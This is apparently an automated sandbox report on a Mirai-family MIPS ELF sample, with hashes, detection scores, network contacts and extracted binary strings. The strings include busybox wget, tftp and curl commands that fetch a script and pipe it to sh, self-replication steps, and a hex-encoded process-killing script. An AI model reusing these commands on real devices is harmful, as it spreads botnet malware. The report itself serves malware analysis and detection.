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Linux Analysis Report
x1b5bmJgLm.elf

Overview

General Information

Sample name:	x1b5bmJgLm.elf renamed because original name is a hash value
Original sample name:	8ac6a5c44bf5210977516855e05e313c.elf
Analysis ID:	1432500
MD5:	8ac6a5c44bf5210977516855e05e313c
SHA1:	6d512103203957fa00e0476fadfa7faa2e3ddf81
SHA256:	9b79ce0f2c7f49a5ea79192d116ece5e85fc3441b353e89c1cec8c6c71df1b80
Tags:	32elfmipsmirai
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432500
Start date and time:	2024-04-27 11:19:02 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	x1b5bmJgLm.elf renamed because original name is a hash value
Original Sample Name:	8ac6a5c44bf5210977516855e05e313c.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/84@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/x1b5bmJgLm.elf
PID:	5823
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

x1b5bmJgLm.elf (PID: 5823, Parent: 5746, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/x1b5bmJgLm.elf

x1b5bmJgLm.elf New Fork (PID: 5825, Parent: 5823)

x1b5bmJgLm.elf New Fork (PID: 5827, Parent: 5825)

x1b5bmJgLm.elf New Fork (PID: 5829, Parent: 5825)

x1b5bmJgLm.elf New Fork (PID: 5831, Parent: 5825)

cleanup

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: x1b5bmJgLm.elf	Virustotal: Detection: 35%			Perma Link
Source: x1b5bmJgLm.elf	ReversingLabs: Detection: 55%

Source: unknown	TCP traffic detected without corresponding DNS query: 74.233.129.2
Source: unknown	TCP traffic detected without corresponding DNS query: 92.113.23.98
Source: unknown	TCP traffic detected without corresponding DNS query: 2.129.153.27
Source: unknown	TCP traffic detected without corresponding DNS query: 124.244.191.222
Source: unknown	TCP traffic detected without corresponding DNS query: 99.25.18.162
Source: unknown	TCP traffic detected without corresponding DNS query: 72.231.121.3
Source: unknown	TCP traffic detected without corresponding DNS query: 141.164.18.7
Source: unknown	TCP traffic detected without corresponding DNS query: 219.223.11.45
Source: unknown	TCP traffic detected without corresponding DNS query: 117.115.15.150
Source: unknown	TCP traffic detected without corresponding DNS query: 144.28.22.236
Source: unknown	TCP traffic detected without corresponding DNS query: 109.253.169.26
Source: unknown	TCP traffic detected without corresponding DNS query: 217.147.254.224
Source: unknown	TCP traffic detected without corresponding DNS query: 83.23.13.129
Source: unknown	TCP traffic detected without corresponding DNS query: 202.162.69.117
Source: unknown	TCP traffic detected without corresponding DNS query: 154.246.221.7
Source: unknown	TCP traffic detected without corresponding DNS query: 34.128.191.87
Source: unknown	TCP traffic detected without corresponding DNS query: 79.50.179.36
Source: unknown	TCP traffic detected without corresponding DNS query: 182.1.123.14
Source: unknown	TCP traffic detected without corresponding DNS query: 162.146.183.236
Source: unknown	TCP traffic detected without corresponding DNS query: 83.141.82.188
Source: unknown	TCP traffic detected without corresponding DNS query: 160.103.0.246
Source: unknown	TCP traffic detected without corresponding DNS query: 187.230.24.179
Source: unknown	TCP traffic detected without corresponding DNS query: 111.168.18.225
Source: unknown	TCP traffic detected without corresponding DNS query: 62.86.186.62
Source: unknown	TCP traffic detected without corresponding DNS query: 39.164.237.251
Source: unknown	TCP traffic detected without corresponding DNS query: 98.58.64.150
Source: unknown	TCP traffic detected without corresponding DNS query: 160.254.154.118
Source: unknown	TCP traffic detected without corresponding DNS query: 136.205.89.170
Source: unknown	TCP traffic detected without corresponding DNS query: 62.49.159.236
Source: unknown	TCP traffic detected without corresponding DNS query: 180.95.228.32
Source: unknown	TCP traffic detected without corresponding DNS query: 9.67.208.2
Source: unknown	TCP traffic detected without corresponding DNS query: 208.73.247.118
Source: unknown	TCP traffic detected without corresponding DNS query: 31.98.125.186
Source: unknown	TCP traffic detected without corresponding DNS query: 153.186.33.248
Source: unknown	TCP traffic detected without corresponding DNS query: 208.230.106.32
Source: unknown	TCP traffic detected without corresponding DNS query: 123.74.225.115
Source: unknown	TCP traffic detected without corresponding DNS query: 78.82.53.77
Source: unknown	TCP traffic detected without corresponding DNS query: 87.198.164.60
Source: unknown	TCP traffic detected without corresponding DNS query: 131.1.140.196
Source: unknown	TCP traffic detected without corresponding DNS query: 133.249.125.93
Source: unknown	TCP traffic detected without corresponding DNS query: 186.248.102.140
Source: unknown	TCP traffic detected without corresponding DNS query: 135.119.214.217
Source: unknown	TCP traffic detected without corresponding DNS query: 21.45.122.56
Source: unknown	TCP traffic detected without corresponding DNS query: 153.4.50.70
Source: unknown	TCP traffic detected without corresponding DNS query: 65.183.177.1
Source: unknown	TCP traffic detected without corresponding DNS query: 140.253.35.149
Source: unknown	TCP traffic detected without corresponding DNS query: 203.232.236.151
Source: unknown	TCP traffic detected without corresponding DNS query: 39.113.194.173
Source: unknown	TCP traffic detected without corresponding DNS query: 130.234.128.217
Source: unknown	TCP traffic detected without corresponding DNS query: 93.123.196.32

Source: x1b5bmJgLm.elf	String found in binary or memory: http:///curl.sh
Source: x1b5bmJgLm.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5860/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5860/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5850/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5850/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5861/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5861/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5851/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5851/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5862/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5862/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5849/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5849/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5852/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5852/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5853/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5853/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5897/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5897/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5854/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5854/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5844/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5844/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5855/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5855/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5845/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5845/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5856/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5856/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5846/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5846/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5857/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5857/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5912/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5912/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5847/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5847/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5858/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5858/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5848/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5848/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5848/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5848/cmdline	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5859/maps	Jump to behavior
Source: /tmp/x1b5bmJgLm.elf (PID: 5829)	File opened: /proc/5859/cmdline	Jump to behavior

Source: x1b5bmJgLm.elf, 5823.1.00007ffed7fb9000.00007ffed7fda000.rw-.sdmp, x1b5bmJgLm.elf, 5827.1.00007ffed7fb9000.00007ffed7fda000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/x1b5bmJgLm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/x1b5bmJgLm.elf
Source: x1b5bmJgLm.elf, 5823.1.00005576055a2000.0000557605629000.rw-.sdmp, x1b5bmJgLm.elf, 5827.1.00005576055a2000.0000557605629000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: x1b5bmJgLm.elf, 5823.1.00005576055a2000.0000557605629000.rw-.sdmp, x1b5bmJgLm.elf, 5827.1.00005576055a2000.0000557605629000.rw-.sdmp	Binary or memory string: vU!/etc/qemu-binfmt/mipsel
Source: x1b5bmJgLm.elf, 5823.1.00007ffed7fb9000.00007ffed7fda000.rw-.sdmp, x1b5bmJgLm.elf, 5827.1.00007ffed7fb9000.00007ffed7fda000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
x1b5bmJgLm.elf	35%	Virustotal		Browse
x1b5bmJgLm.elf	55%	ReversingLabs	Linux.Trojan.Mirai

Source	Detection	Scanner	Label	Link
http:///wget.sh	0%	Avira URL Cloud	safe
http:///curl.sh	0%	Avira URL Cloud	safe

IP	Domain	Country	ASN	ASN Name	Malicious
40.37.42.204	unknown	United States	4249	LILLY-ASUS	false
80.136.198.129	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
208.73.247.118	unknown	United States	14287	TRIAD-TELECOMUS	false
181.67.21.45	unknown	Peru	6147	TelefonicadelPeruSAAPE	false
163.138.80.38	unknown	Japan	2511	CORENTTJP	false
146.26.17.2	unknown	United States	197938	TRAVIANGAMESDE	false
206.141.211.78	unknown	United States	7132	SBIS-ASUS	false
1.192.99.205	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
86.70.40.170	unknown	France	15557	LDCOMNETFR	false
92.90.250.11	unknown	France	15557	LDCOMNETFR	false
147.77.87.7	unknown	United Kingdom	10152	NEC-MELB-DC-AS-APNECAustraliaPtyLtdAU	false
186.56.40.153	unknown	Argentina	22927	TelefonicadeArgentinaAR	false
41.123.19.69	unknown	South Africa	16637	MTNNS-ASZA	false
54.116.14.98	unknown	United States	16509	AMAZON-02US	false
220.197.8.10	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
138.125.13.165	unknown	United States	8983	NOKIA-ASFI	false
64.191.224.122	unknown	United States	14609	EQUINIX-CORP-ASUS	false
186.100.185.199	unknown	Argentina	11315	TelefonicaMovilesArgentinaSAMovistarArgentinaAR	false
145.94.224.155	unknown	Netherlands	1128	TUDELFT-NLDTOTUDELFTTheNetherlands-ASNL	false
38.183.34.197	unknown	United States	174	COGENT-174US	false
131.243.21.101	unknown	United States	16	LBLUS	false
24.141.113.233	unknown	Canada	7992	COGECOWAVECA	false
43.94.119.28	unknown	Japan	4249	LILLY-ASUS	false
62.117.85.24	unknown	Russian Federation	8732	COMCOR-ASMoscowRU	false
177.135.225.66	unknown	Brazil	10429	TELEFONICABRASILSABR	false
12.70.209.79	unknown	United States	7018	ATT-INTERNET4US	false
164.199.236.198	unknown	United States	2621	DNIC-AS-02621US	false
119.34.8.71	unknown	China	17622	CNCGROUP-GZChinaUnicomGuangzhounetworkCN	false
200.220.163.225	unknown	Brazil	63018	DEDICATEDUS	false
41.78.38.123	unknown	South Africa	37157	IMAGINEZA	false
167.8.33.16	unknown	United States	3816	COLOMBIATELECOMUNICACIONESSAESPCO	false
156.207.121.49	unknown	Egypt	8452	TE-ASTE-ASEG	false
104.11.200.170	unknown	United States	7018	ATT-INTERNET4US	false
122.171.148.91	unknown	India	24560	AIRTELBROADBAND-AS-APBhartiAirtelLtdTelemediaServices	false
113.201.215.180	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
122.238.37.77	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
104.109.5.192	unknown	United States	9498	BBIL-APBHARTIAirtelLtdIN	false
117.151.11.187	unknown	China	9808	CMNET-GDGuangdongMobileCommunicationCoLtdCN	false
42.56.112.102	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
153.13.37.94	unknown	United States	10753	LVLT-10753US	false
95.190.90.82	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
63.3.33.148	unknown	United States	701	UUNETUS	false
217.116.232.228	unknown	Denmark	16245	NGDCDK	false
87.168.28.27	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
23.238.218.241	unknown	United States	40676	AS40676US	false
133.82.236.131	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
37.40.34.176	unknown	Oman	28885	OMANTEL-NAP-ASOmanTelNAPOM	false
128.156.70.153	unknown	United States	297	AS297US	false
171.8.17.99	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
12.46.151.115	unknown	United States	7018	ATT-INTERNET4US	false
204.67.171.57	unknown	United States	1761	TDIR-CAPNETUS	false
51.204.1.148	unknown	United States	2686	ATGS-MMD-ASUS	false
186.86.44.84	unknown	Colombia	10620	TelmexColombiaSACO	false
110.219.65.11	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
164.46.126.174	unknown	Japan	4694	IDCFIDCFrontierIncJP	false
102.37.243.131	unknown	South Africa	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
202.251.43.55	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
50.109.133.65	unknown	United States	5650	FRONTIER-FRTRUS	false
195.158.190.57	unknown	Germany	20676	PLUSNETDE	false
16.16.20.144	unknown	United States	unknown	unknown	false
222.205.14.222	unknown	China	24367	CNGI-HZH-IX-AS-APCERNET2IXatZhejiangUniversityCN	false
73.149.63.83	unknown	United States	7922	COMCAST-7922US	false
82.95.206.28	unknown	Netherlands	3265	XS4ALL-NLAmsterdamNL	false
178.170.45.160	unknown	France	21409	IKOULAFR	false
220.84.146.223	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
41.38.252.100	unknown	Egypt	8452	TE-ASTE-ASEG	false
160.27.203.219	unknown	Japan	9371	SAKURA-CSAKURAInternetIncJP	false
53.92.238.142	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
108.173.192.236	unknown	Canada	852	ASN852CA	false
216.194.161.223	unknown	United States	22611	IMH-WESTUS	false
114.178.246.8	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
22.188.134.151	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
168.103.36.230	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
47.14.166.246	unknown	United States	20115	CHARTER-20115US	false
17.227.27.9	unknown	United States	714	APPLE-ENGINEERINGUS	false
204.167.201.14	unknown	United States	3356	LEVEL3US	false
176.232.133.135	unknown	Turkey	34984	TELLCOM-ASTR	false
92.85.201.1	unknown	Romania	9050	RTDBucharestRomaniaRO	false
71.147.186.18	unknown	United States	7018	ATT-INTERNET4US	false
46.12.7.36	unknown	Greece	1241	FORTHNET-GRForthnetEU	false
136.203.112.138	unknown	United States	60311	ONEFMCH	false
44.233.223.193	unknown	United States	16509	AMAZON-02US	false
171.68.19.186	unknown	United States	109	CISCOSYSTEMSUS	false
115.250.8.243	unknown	India	18101	RELIANCE-COMMUNICATIONS-INRelianceCommunicationsLtdDAKC	false
56.191.163.12	unknown	United States	2686	ATGS-MMD-ASUS	false
52.181.118.51	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
190.102.47.135	unknown	Costa Rica	30361	SWIFTWILL2US	false
96.85.42.183	unknown	United States	7922	COMCAST-7922US	false
171.6.186.47	unknown	Thailand	45758	TRIPLETNET-AS-APTripleTInternetTripleTBroadbandTH	false
71.100.219.137	unknown	United States	701	UUNETUS	false
202.21.140.33	unknown	Thailand	55545	SUT-AS-APSuranareeUniversityofTechnologyTH	false
3.84.63.25	unknown	United States	14618	AMAZON-AESUS	false
121.29.181.93	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
86.199.221.17	unknown	France	3215	FranceTelecom-OrangeFR	false
2.218.141.115	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
178.118.136.163	unknown	Belgium	6848	TELENET-ASBE	false
138.47.255.226	unknown	United States	19564	LATECHUS	false
148.110.44.165	unknown	Luxembourg	7834	L3HARRIS-TECHNOLOGIESUS	false
105.184.120.204	unknown	South Africa	37457	Telkom-InternetZA	false
90.23.52.74	unknown	France	3215	FranceTelecom-OrangeFR	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
41.78.38.123	mips.elf	Get hash	malicious	Mirai	Browse
41.78.38.123	s0FlH8vuoh	Get hash	malicious	Mirai	Browse
167.8.33.16	N6Cv26YcaB.elf	Get hash	malicious	Mirai	Browse
208.73.247.118	6NzbU4oW61	Get hash	malicious	Mirai	Browse
206.141.211.78	D27IpoCkYf	Get hash	malicious	Mirai	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
infectedchink.pirate	RpHVKGndFL.elf	Get hash	malicious	Unknown	Browse	5.181.80.130
	GcOeQTPzrh.elf	Get hash	malicious	Unknown	Browse	5.181.80.61
	EdO1baKdpe.elf	Get hash	malicious	Mirai	Browse	204.76.203.5

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TelefonicadelPeruSAAPE	ZMDO0vznFx.elf	Get hash	malicious	Unknown	Browse	200.121.166.126
	WwKYOW4jIg.elf	Get hash	malicious	Mirai	Browse	190.43.153.165
	W5xi2iuufC.elf	Get hash	malicious	Mirai	Browse	181.106.46.29
	tajma.arm7-20240422-0539.elf	Get hash	malicious	Mirai, Okiru	Browse	181.104.179.37
	KSRRrEMt1w.elf	Get hash	malicious	Mirai	Browse	190.238.45.206
	Oo2yeTdq5J.elf	Get hash	malicious	Mirai	Browse	201.240.238.54
	3Bl37j9Opx.elf	Get hash	malicious	Mirai	Browse	190.234.215.226
	UuD1zt2QpK.elf	Get hash	malicious	Mirai	Browse	181.67.45.172
	74pdei4s1x.elf	Get hash	malicious	Mirai	Browse	200.121.206.226
	x86.elf	Get hash	malicious	Mirai	Browse	181.104.232.174
TRIAD-TELECOMUS	7iVoOUFNjC.elf	Get hash	malicious	Mirai	Browse	208.73.247.125
	csvz5bOQQA.elf	Get hash	malicious	Mirai	Browse	208.73.247.117
	4X0WF5U3vR.elf	Get hash	malicious	Mirai	Browse	208.73.247.119
	BcixHzw72f.elf	Get hash	malicious	Mirai	Browse	208.73.247.132
	qPBX27ueus	Get hash	malicious	Mirai	Browse	208.73.247.144
	6NzbU4oW61	Get hash	malicious	Mirai	Browse	208.73.247.118
	arm7	Get hash	malicious	Mirai	Browse	208.73.247.137
DTAGInternetserviceprovideroperationsDE	uXUrccWxXO.elf	Get hash	malicious	Unknown	Browse	217.229.172.235
	kiEexlEvM2.elf	Get hash	malicious	Unknown	Browse	217.227.178.67
	WFdAK6HQgz.elf	Get hash	malicious	Unknown	Browse	217.239.166.151
	GcOeQTPzrh.elf	Get hash	malicious	Unknown	Browse	87.134.89.109
	EdO1baKdpe.elf	Get hash	malicious	Mirai	Browse	91.12.82.245
	01EF8hZ6ib.elf	Get hash	malicious	Unknown	Browse	79.250.222.112
	4NnBaAMXoc.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	62.154.235.97
	0tfJECfbEP.elf	Get hash	malicious	Mirai	Browse	91.3.128.9
	WwKYOW4jIg.elf	Get hash	malicious	Mirai	Browse	87.159.129.87
	dwn1cGHIbV.elf	Get hash	malicious	Mirai	Browse	31.241.19.182
LILLY-ASUS	fbW42zYly3.elf	Get hash	malicious	Mirai	Browse	42.212.73.62
	RpHVKGndFL.elf	Get hash	malicious	Unknown	Browse	40.230.45.104
	q5C2tw1Pc6.elf	Get hash	malicious	Mirai	Browse	40.244.100.206
	d1CFx1lzym.elf	Get hash	malicious	Mirai	Browse	40.13.226.209
	WAuEOdMm6J.elf	Get hash	malicious	Unknown	Browse	40.52.67.221
	GcOeQTPzrh.elf	Get hash	malicious	Unknown	Browse	43.85.41.49
	EdO1baKdpe.elf	Get hash	malicious	Mirai	Browse	43.170.60.114
	RDFchOT4i0.exe	Get hash	malicious	Unknown	Browse	43.157.48.250
	4NnBaAMXoc.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	43.166.243.12
	0tfJECfbEP.elf	Get hash	malicious	Mirai	Browse	43.121.222.103
CORENTTJP	wuVsvX6f1I.elf	Get hash	malicious	Mirai	Browse	163.138.80.39
	b3astmode.arm.elf	Get hash	malicious	Mirai	Browse	163.138.153.112
	jklx86.elf	Get hash	malicious	Mirai	Browse	163.138.67.82

Process:	/tmp/x1b5bmJgLm.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.16296890781198
Encrypted:	false
SSDEEP:	6:URYNDFAz/VUR4DF6mHT/VLV//VDM/V+4D/VH:IYttRwomHzVMfF
MD5:	8550F4D92594829BA97081B080116B08
SHA1:	5D3052AD643160CE5E2DB3B7974547F558F5DA43
SHA-256:	1237766F8EA36E4C9E553DF8D05131085C73A99ADC417441A040AD9631DEBA5D
SHA-512:	93745929B699BB3F5D7C6D6D8534A498A30DE5A7C342A5455D43F356078701EEF92448D890D3F9395C3FB4F1CA2221BA2EA3D27434F6ED979F3D638CB3C80BF3
Malicious:	false
Reputation:	low
Preview:	400000-414000 r-xp 00000000 fd:00 531606 /tmp/..454000-455000 rw-p 00014000 fd:00 531606 /tmp/..455000-457000 rw-p 00000000 00:00 0 .457000-458000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.5241823163064785
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	x1b5bmJgLm.elf
File size:	84'256 bytes
MD5:	8ac6a5c44bf5210977516855e05e313c
SHA1:	6d512103203957fa00e0476fadfa7faa2e3ddf81
SHA256:	9b79ce0f2c7f49a5ea79192d116ece5e85fc3441b353e89c1cec8c6c71df1b80
